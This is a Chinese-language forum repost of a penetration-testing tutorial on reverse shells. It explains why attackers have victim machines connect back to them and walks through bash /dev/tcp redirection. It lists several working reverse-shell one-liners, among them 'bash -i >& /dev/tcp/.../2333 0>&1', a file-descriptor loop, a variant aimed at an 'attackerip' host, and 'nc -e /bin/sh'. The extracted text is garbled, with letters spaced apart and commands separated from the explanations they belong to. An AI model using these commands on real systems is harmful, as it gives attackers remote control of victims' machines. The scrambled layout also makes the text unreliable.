搜索

[22030] 2021-06-01_『渗透测试』反弹shell入门教学

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2021-06-01_『渗透测试』反弹shell入门教学 『 渗 透 测 试 』 反 弹   s h e l l   入 门 教 学 L e m o n S e c   2 0 2 1 - 0 6 - 0 1 日 期 ： 2 0 2 1 - 0 6 - 0 1 转 自 ： 宸 极 实 验 室 介 绍 ： 此 文 记 录 了 利 用 远 程 代 码 执 行 漏 洞 进 行 反 弹 的 命 令 讲 解 及 详 细 过 程 。 0 x 0 0   前 言 反 弹 ， 就 是 控 制 端 监 听 在 某 端 口 ， 被 控 端 发 起 请 求 到 该 端 口 ， 并 将 其 命 令 行 的 输 入 输 出 转 到 控 制 端 。 通 俗 点 说 ， 反 弹 就 是 一 种 反 向 链 接 ， 与 正 向 的 等 不 同 ， 它 是 在 对 方 电 脑 执 行 命 令 连 接 到 我 方 的 攻 击 模 式 ， 并 且 这 种 攻 击 模 式 必 须 搭 配 远 程 执 行 命 令 漏 洞 来 使 用 。 为 什 么 要 反 弹 ？ 通 常 用 于 被 控 端 因 防 火 墙 受 限 、 权 限 不 足 、 端 口 被 占 用 等 情 形 。 假 设 我 们 攻 击 了 一 台 机 器 ， 打 开 了 该 机 器 的 一 个 端 口 ， 攻 击 者 在 自 己 的 机 器 去 连 接 目 标 机 器 ， 这 是 比 较 常 规 的 形 式 ， 我 们 叫 做 正 向 连 接 。 远 程 桌 面 ， 服 务 ， ， 等 等 ， 都 是 正 向 连 接 。 那 么 什 么 情 况 下 正 向 连 接 不 太 好 用 了 呢 ： 1 .   某 客 户 机 中 了 你 的 网 马 ， 但 是 它 在 局 域 网 内 ， 你 直 接 连 接 不 了 。 2 .   它 的 i p 会 动 态 改 变 ， 你 不 能 持 续 控 制 。 b a s h s h e l l s h e l l T C P / U D P s h e l l s s h s h e l l w e b s s h t e l n e t
3 .   由 于 防 火 墙 等 限 制 ， 对 方 机 器 只 能 发 送 请 求 ， 不 能 接 收 请 求 。 4 .   对 于 病 毒 ， 木 马 ， 受 害 者 什 么 时 候 能 中 招 ， 对 方 的 网 络 环 境 是 什 么 样 的 ， 什 么 时 候 开 关 机 ， 都 是 未 知 ， 所 以 建 立 一 个 服 务 端 ， 让 恶 意 程 序 主 动 连 接 ， 才 是 上 策 。 那 么 反 弹 就 很 好 理 解 了 ，   攻 击 者 指 定 服 务 端 ， 受 害 者 主 机 主 动 连 接 攻 击 者 的 服 务 端 程 序 ， 就 叫 反 弹   。 0 x 0 1   反 弹 s h e l l 演 示 我 们 用 远 程 代 码 执 行 漏 洞 实 例 来 了 解 一 下 他 的 原 理 ： 首 先 我 们 需 要 在 攻 击 端 去 监 听 端 口 ， 通 过 这 个 端 口 来 接 收 受 害 机 反 弹 的   在 攻 击 端 输 入 命 令 然 后 在 受 害 机 执 行 命 令 ： 我 们 就 发 现 ， 在 我 们 的 攻 击 端 已 经 成 功 出 现 了 我 们 的 受 害 端 的 ， 在 我 们 的 攻 击 端 就 能 对 受 害 端 来 进 行 下 一 步 操 作 ： 例 如 ： s h e l l b a s h 攻 击 端 ： 1 0 . 1 0 0 . 4 0 . 5 受 害 机 ： 1 9 2 . 1 6 8 . 1 9 7 . 1 3 6 s h e l l n c   - l   2 3 3 3 b a s h   - i   > &   / d e v / t c p / 1 0 . 1 0 0 . 4 0 . 5 / 2 3 3 3   0 > & 1 s h e l l
0 x 0 2   原 理 2 . 1   反 弹 反 弹 s h e l l 的 命 令 原 理 的 命 令 原 理 ( 1 )   是   的 一 个 比 较 常 见 的 ， 是 许 多 发 行 版 的 默 认 。     这 个 参 数 的 意 思 是 产 生 交 互 式 的 。 ( 2 )   这 个 文 件 是 特 别 特 殊 的 ， 实 际 上 可 以 将 其 看 成 一 个 设 备 （ 下 一 切 皆 文 件 ） ， 其 实 如 果 你 访 问 这 个 文 件 的 位 置 他 是 不 存 在 的 ， 如 下 图 ： b a s h   - i b a s h l i n u x s h e l l L i n u x S h e l l - i s h e l l . / d e v / t c p / i p / p o r t / d e v / t c p | u d p / i p / p o r t L i n u x
( 3 )   但 是 如 果 你 在 一 方 监 听 端 口 的 情 况 下 对 这 个 文 件 进 行 读 写 ， 就 能 实 现 与 监 听 端 口 的 服 务 器 的 通 信 。 我 们 输 出 字 符 到 这 个 文 件 中 。 受 害 端 ： 攻 击 端 ： ( 4 )   下 面 我 们 在 看 将 输 出 转 移 到 到 受 害 端 ， 在 攻 击 端 继 续 监 听 端 口 ， 并 且 在 攻 击 端 输 入 内 容 回 车 就 会 出 现 在 受 害 端 。 ( 5 ) 这 样 思 路 就 比 较 清 晰 了 ， 下 面 再 说 交 互 重 定 向 ： 为 了 实 现 交 互 ， 我 们 需 要 把 受 害 者 交 互 式 的 输 出 重 定 向 到 攻 击 机 上 ； 在 受 害 者 机 器 上 输 入 : 然 后 我 们 发 现 无 论 输 入 什 么 指 令 都 不 会 有 回 显 ， 回 显 出 现 在 了 攻 击 端 标 准 输 出 被 定 向 到 了 攻 击 端 。 s o c k e t   / d e v / t c p 2 3 3 3 s h e l l b a s h   - i   >   / d e v / t c p   1 0 . 1 0 0 . 4 0 . 5 / 2 3 3 3
这 样 只 是 回 显 而 已 ， 并 没 有 办 法 在 攻 击 端 直 接 执 行 命 令 。 ( 6 ) 所 以 我 们 还 需 要 将 攻 击 者 输 入 的 指 令 输 入 给 受 害 者 的 ： 这 样 就 会 做 到 在 攻 击 端 输 入 命 令 ， 回 显 到 受 害 端 ： ( 7 ) 最 重 要 的 在 与 怎 么 将 两 个 操 作 结 合 起 来 ， 实 现 在 攻 击 端 输 入 攻 击 端 输 出 ， 我 们 需 要 将 输 出 输 入 都 绑 定 到     这 个 文 件 下 。 命 令 : 受 害 端 : b a s h b a s h   - i   <   / d e v / t c p / 1 0 . 1 0 0 . 4 0 . 5 / 2 3 3 3 / d e v / t c p b a s h   - i   >   / d e v / t c p / 1 0 . 1 0 0 . 4 0 . 5 / 2 3 3 3   0 > & 1
攻 击 端 ： 我 们 发 现 完 全 实 现 了 我 们 的 需 求 ， 在 攻 击 端 执 行 命 令 ， 并 且 回 显 ， 这 个 命 令 ， 做 到 了 输 入 0 是 由   输 入 的 ， 也 就 是 攻 击 机 的 输 入 ， 命 令 执 行 的 结 果 1 ， 会 输 出 到 上 ， 这 就 形 成 了 一 个 回 路 ， 实 现 了 我 们 远 程 交 互 式   的 功 能 。 我 们 发 现 还 是 有 一 个 小 问 题 ， 我 们 可 以 看 到 ， 虽 然 命 令 执 行 结 果 在 攻 击 端 回 显 ， 但 是 受 害 端 依 然 是 有 命 令 回 显 的 ，   所 以 我 们 需 要 解 决 这 个 问 题 ： 命 令   : 这 样 命 令 就 不 会 回 显 到 受 害 端 了 。 就 算 是 错 误 输 出 也 会 输 出 到 攻 击 端 ， 这 样 就 达 到 了 我 们 的 目 的 。 / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3 / d e v / t c p / 1 9 2 . 1 6 8 . 1 5 6 . 1 2 9 / 2 3 3 3 s h e l l b a s h   - i   >   / d e v / t c p / 1 0 . 1 0 0 . 4 0 . 5 / 2 3 3 3   0 > & 1   2 > & 1
2 . 2   常 见 反 弹 常 见 反 弹 s h e l l 方 法 方 法 ( 1 )   方 法 一 这 两 个 几 乎 是 一 样 的 唯 一 的 区 别 是   和     ， 其 实 就 是 打 开 方 式 的 不 同 ， 而 对 于 这 个 文 件 描 述 符 来 讲 并 没 有 什 么 区 别 。 ( 2 )   方 法 二 ( 3 )   方 法 三 ( 4 )   方 法 四 0 x 0 3   总 结 b a s h   - i > &   / d e v / t c p / 1 0 . 1 0 0 . 4 0 . 5 / 2 3 3 3   0 < & 1 b a s h   - i > &   / d e v / t c p / 1 0 . 1 0 0 . 4 0 . 5 / 2 3 3 3   0 < & 1 0 > & 1 0 < & 1 b a s h   - i   > &   / d e v / t c p / 1 0 . 1 0 0 . 4 0 . 5 / 2 3 3 3   < & 2 b a s h   - i   > &   / d e v / t c p / 1 0 . 1 0 0 . 4 0 . 5 / 2 3 3 3   0 < & 2 e x e c   5 < > / d e v / t c p / 1 9 2 . 1 6 8 . 1 4 6 . 1 2 9 / 2 3 3 3 ; c a t   < & 5 | w h i l e   r e a d   l i n e ; d o   $ l i n e   > & 5   2 > & 1 ; d o n e 0 < & 1 9 6 ; e x e c   1 9 6 < > / d e v / t c p / a t t a c k e r i p / 4 4 4 4 ;   s h   < & 1 9 6   > & 1 9 6   2 > & 1 9 6 n c   - e   / b i n / s h   1 0 . 1 0 0 . 4 0 . 5   2 3 3 3
下 的 反 弹 还 是 有 很 多 种 姿 势 和 方 法 的 ， 这 只 是 最 简 单 与 基 础 的 内 容 ， 学 习 了 解 以 后 可 以 继 续 研 究 更 多 的 反 弹 方 法 与 姿 势 。 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦 L i n u x s h e l l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理